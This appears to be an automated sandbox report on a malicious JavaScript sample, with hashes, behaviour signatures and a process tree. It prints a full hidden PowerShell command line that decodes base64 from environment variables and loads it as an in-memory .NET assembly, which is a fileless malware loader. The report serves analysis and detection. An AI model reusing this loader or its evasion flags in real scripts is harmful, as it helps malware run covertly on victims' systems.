Analysis
- max time kernel
149s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
24/09/2026, 02:37
Static task
static1
Behavioral task
behavioral1
Sample
ASTM36-8399367.js
Resource
win10v2004-20260911-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
ASTM36-8399367.js
Resource
win11ltsc2024-20260911-en
7 signatures
150 seconds
General
- Target ASTM36-8399367.js
- Size 4.8MB
- Sample260924-c4f12acc95
- SHA256 cb2e483cf44493e017dc676d8f4c239093155dc17b36db5bd1dc98dff17e97e9
- MD5 bc9db7aec73a3c92840402ddd1fa4209
- SHA1 63be99643e67fbffc6c1cb98c302c60424015621
- SHA512 8aa0ec09e0ad9470589546e46ff5c05877578f844987da52727f84ad490a881a7b7b7d7e578509c3298852ba55d908a1ff2dfa594bd86d9913412937899966a3
- SSDEEP 192:Z63wmUgXdOr453D0P6WUncOi/IJU9fTA3CHIAlj+UsIjBUK83oyYG6cs9a1pXa73:a1krSKZbDiNUmTfTaD9RSRyxl
- TLSH T1343649F8E020D17E9267FC93C1DFBF886DAD5D795EE1FE0A0248A140B51AE7058D6E81
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4020 4776 powershell.exe 90 - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 4020 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4020 powershell.exe - Command and Scripting Interpreter: JavaScript 1 TTPs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4020 powershell.exe 4020 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4020 powershell.exe - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\ASTM36-8399367.js1⤵PID:4656
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$pileated=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$tamaraw=[System.IO.MemoryStream][Convert]::FromBase64String($pileated);[System.Reflection.Assembly]::Load($tamaraw.ToArray())|Out-Null;[Win32.RMP.Cls_RshrPwMKxO]::Met_lCyDOGBPgHCx('xaqN8RzgfGMxRaC7v/jJRhaf0kovS055C1GGX9s0T2SXBloBItvpBLAyb+IozW4617c+WEm38pLGh/9G9Moo4g==','5LC72M22fmAn4ARfM7c8Koix9mSwU7KxSBttml4MMYk=','RyDCDyj5Hj5WNKc34LUHerS9LPskKebqrPlYJi8RJAuWUciRTpNXoXQJ9u9TZ7LA','E9jFkuqTWO3fzd5w30JZwgn9tKgpqJIk+H2/984gPIA=','LtXaPIx6b57ZoB4sAzoc5VLMz1HtckfbPqDuejtJCJA=','','5/cOuOoozg1nJpsWI0Ofze4YK/KzcZrO2lTeOlRPTpA=','gtBZILnQM9BMrMMXDAtNZmsbcTZ5EXlllAYMVL08RPw=','CeShudjlg3V14oYowiI6OZgReNOS0sMc68n0OCr2bzgBP3JHNgQoIST1XceX6U/PIggiSyXVcMKAQe/koNb4MYOdfE9QsQGzGnA58+BuZIk=','izZr8t+duDSGOQfPengbIjx7OUmsRtgMFDVOzPEW/NVixCN28GeY/7C7Mwc9NEgP','mRa+sgRgo81QMFiqQ4DJVoWwv6nQFuNcAwamYvBrkls=','gw1LVIAY5M9JlCQ8KY4SK4F/JKBnKNObQM+BwoanqJc=','KlY4Kx8cR6iNG1rN+BSBkBFGotr0rDRr1qFkMD8wkOk=','AyB9sMkH9w1ChnQXg/G9tlAkljRB2NjUbBQ8sew+4Ig=','6udzjUeqv26Ou3o8RYpn340KXUs8TtP3gNE76yUtr4A=','nj0EaUkChqAaZ2rJGUXYv5ekrCYLO5wCCC6K1o8Wgf0=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4020
-
C:\Windows\system32\wscript.exewscript.exe1⤵PID:856
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:2252